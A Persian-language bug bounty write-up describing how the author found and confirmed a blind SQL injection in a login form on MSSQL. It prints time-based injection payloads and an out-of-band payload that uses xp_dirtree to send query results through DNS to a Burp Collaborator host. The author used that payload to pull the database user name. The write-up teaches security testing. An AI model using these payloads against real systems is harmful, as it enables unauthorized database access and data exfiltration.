رایتاپ ها
زمان مطالعه :5 دقیقه
Out of band sql injection data exfiltration
سلام بچهها، آرین محمد حسینی هستم ملقب به chil1paper و امروز میخوایم راجع به Sql injection که توی یکی از تارگتها پیدا کردم، صحبت کنیم.
بریم که شروع کنیم.
اولش شروع کردم به فاز کردن و تست کردن functionalityهای سایت. در حین تستهام هرجایی که احساس نیاز کنم یک Sqlmap و Burp scanner هم ران میکنم که چیزی Miss نشه.
پس منم Request لاگین رو به Sqlmap دادم و منتظر موندنم که تموم بشه. وقتی تموم شد sqlmap آسیبپذیری رو دیتکت نکرده بود ولی توی برپ قضیه فرق میکرد.
برپ تونسته بود روی پارامترهای username و password پیلود خودش رو inject بکنه.
ولی از اونجایی که sqlmap نتوسته بود چیزی پیدا کنه، فکر کردم false posetive بهم داده پس منم توی برپ پیلود خودش رو تست کردم.
همین که دیلی برپ رو دیدم برام کافی نبود پس شروع کردم دوتا پیلود دیگهایی رو امتحان کردن که بتونم validate کنم که واقعا sql injection پیدا کردم.
username=x',0)+if+(1=2)+waitfor+delay+'0:0:10'--+-
username=x',0)+if+(1=1)+waitfor+delay+'0:0:10'--+-
پیلودهایی که استفاده کردم سادهان، از اونجایی که هیچ وقت 2=1 باهم برابر نیستن پیلود اجرا نمیشه، ولی چون 1=1 همیشه یک شرط درسته، پیلود اجرا میشه و سامانه بعد از 10 ثانیه به ما ریسپانس میده.
ولی از اونجایی که برام مهم بود که Sqlmap میتونه این آسیبپذیری رو پیدا کنه یا نه شروع کردم به اجرا کردنش با بالاترین Level و Risk، ولی باز Sqlmap نتونسته بود چیزی پیدا کنه.
بعد از اینکه این آسیبپذیری رو validate کردم، شروع به پیدا کردن راهی کردم که بتونم از blind بودن در بیام، برای همین رفتم portswigger تا ببینم چه پیلود هایی میتونه بهم کمک بکنه، که یک پیلود نظرم رو جلب کرد.
برای اینکه این پیلود اجرا بشه باید بتونیم از Batch query داخل Mssql استفاده کنیم.
حالا از کجا بدونیم که Mssql از Batch query ساپورت میکنه؟
بیاید باهم برگردیم به یکی از ارائههای Blackhat.
جدول بالا بهمون نشون میده که در چه حالتی میتونیم از Batch query استفاده بکنیم.
حالا که شرایط استفاده رو داریم کافیه که بریم و اجراش بکنیم. پیلودمون میشه همچین حالتی:
1declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')
پیلود اول میاد یک variable به اسم p میسازه، در مرحله دوم Query رو اجرا میکنه و جوابش رو توی p میریزه، مرحله آخر هم به ته Burp collabrator مون جواب رو میچسبونه و Dns lookup میزنه.
پس کافیه که Burp collabrator و پیلود مورد نظر رو جایگزین کنیم و دستور رو اجرا کنیم.
اولش اومدم Database user رو باهمین روش به خودم فرستادم. پلیودش همچین چیزی میشه:
x',0)+declare+@p+varchar(1024);set+@p=(SELECT+user_name());exec('master..xp_dirtree+"//'%2b@p%2b'.subdomain.oastify.com/a"')--+-
پیلود رو اجرا کردم و بعد از چند ثانیه دیدم Dns lookup انجام شده و من Username database داشتم.
حالا من تونسته بودم از blind sql injection به visible sql injection برسم. حالا رفتم سمت اینکه بتونم فایلی بخونم یا رایت کنم ولی با شکست مواجه شدم.
در مرحله آخر رفتم Sql injection رو تبدیل کنم به RCE که بازم نشد، پس شروع کردم به گزارش نوشتن.
نتیجهگیری
هیچ وقت به ابزار اعتماد نکنید سعی کنید خودتون هم یکبار چکش بکنید.
سریع آسیبپذیری رو گزارش نکنید سعی کنید براش impact پیدا کنید، بعد گزارش بنویسید.
امیدوارم با خوندن این رایت آپ یک چیز جدید یادگرفته باشین.
Arian Mohammad Hosseini
مشاهده مقاله های بیشتر